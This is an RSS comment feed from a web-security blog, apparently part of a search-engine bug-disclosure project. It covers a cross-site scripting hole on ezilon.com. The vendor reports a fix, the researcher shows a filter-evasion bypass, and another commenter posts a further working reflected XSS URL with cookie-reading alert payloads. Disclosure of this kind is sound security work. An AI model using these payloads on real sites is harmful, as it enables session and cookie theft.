<?xml version="1.0" encoding="UTF-8"?><!-- generator="wordpress/MustLive Edition" -->
<rss version="2.0" 
	xmlns:content="http://purl.org/rss/1.0/modules/content/">
<channel>
	<title>Коментарі для запису: MOSEB-11: Vulnerability at www.ezilon.com</title>
	<link>http://websecurity.com.ua/1034/</link>
	<description></description>
	<pubDate>Mon, 06 Apr 2026 08:06:25 +0000</pubDate>
	<generator>http://wordpress.org/?v=MustLive Edition</generator>

	<item>
		<title>від: Trancer</title>
		<link>http://websecurity.com.ua/1034/#comment-35812</link>
		<pubDate>Tue, 12 Jun 2007 23:11:37 +0000</pubDate>
		<guid>http://websecurity.com.ua/1034/#comment-35812</guid>
					<description>Or use this:
http://www.ezilon.com/cgi-bin/jump/jump_search.cgi?q=m&#38;cat=1%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
 ;)</description>
		<content:encoded><![CDATA[<p>Or use this:<br />
<a href="http://www.ezilon.com/cgi-bin/jump/jump_search.cgi?q=m&amp;cat=1%22%3E%3Cscript%3Ealert" rel="nofollow">http://www.ezilon.com/cgi-bin/jump/jump_search.cgi?q=m&amp;cat=1%22%3E%3Cscript%3Ealert</a>(document.cookie)%3C/script%3E<br />
 <img src='http://websecurity.com.ua/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' />
</p>
]]></content:encoded>
				</item>
	<item>
		<title>від: MustLive</title>
		<link>http://websecurity.com.ua/1034/#comment-35810</link>
		<pubDate>Tue, 12 Jun 2007 21:54:30 +0000</pubDate>
		<guid>http://websecurity.com.ua/1034/#comment-35810</guid>
					<description>&lt;strong&gt;Hugh Sowden&lt;/strong&gt;

You are welcome.

Thanks for you post. I need to tell that you are first from all search engines vendors which participate in my project who thanked me (some vendors ask me about their holes, but you only one thanked me). So Ezilon is one cultured search engine. Others search engines vendors need to follow your's example ;-).

P.S.

You fixed this vuln, but not completely. So it still work with some filter evasion technique:

&lt;a href="http://www.ezilon.com/cgi-bin/jump/jump_search.cgi?cat=2&#038;q=%22%20style%3D%22xss:expression(alert(document.cookie))%22" target="_blank" rel="nofollow"&gt;alert(document.cookie)&lt;/a&gt; (IE)

You need to fix this hole competely ;-)</description>
		<content:encoded><![CDATA[<p><strong>Hugh Sowden</strong></p>
<p>You are welcome.</p>
<p>Thanks for you post. I need to tell that you are first from all search engines vendors which participate in my project who thanked me (some vendors ask me about their holes, but you only one thanked me). So Ezilon is one cultured search engine. Others search engines vendors need to follow your&#8217;s example <img src='http://websecurity.com.ua/wp-includes/images/smilies/icon_wink.gif' alt=';-)' class='wp-smiley' /> .</p>
<p>P.S.</p>
<p>You fixed this vuln, but not completely. So it still work with some filter evasion technique:</p>
<p><a href="http://www.ezilon.com/cgi-bin/jump/jump_search.cgi?cat=2&#038;q=%22%20style%3D%22xss:expression(alert(document.cookie))%22" target="_blank" rel="nofollow">alert(document.cookie)</a> (IE)</p>
<p>You need to fix this hole competely <img src='http://websecurity.com.ua/wp-includes/images/smilies/icon_wink.gif' alt=';-)' class='wp-smiley' />
</p>
]]></content:encoded>
				</item>
	<item>
		<title>від: Hugh Sowden</title>
		<link>http://websecurity.com.ua/1034/#comment-35805</link>
		<pubDate>Tue, 12 Jun 2007 19:47:13 +0000</pubDate>
		<guid>http://websecurity.com.ua/1034/#comment-35805</guid>
					<description>Nice job guys! 

We have solve that vulnerability issue. Thanks for taking off your busy time to analyze our site, we appreciate it.

This is now closed.   ;)</description>
		<content:encoded><![CDATA[<p>Nice job guys! </p>
<p>We have solve that vulnerability issue. Thanks for taking off your busy time to analyze our site, we appreciate it.</p>
<p>This is now closed.   <img src='http://websecurity.com.ua/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' />
</p>
]]></content:encoded>
				</item>
</channel>
</rss>
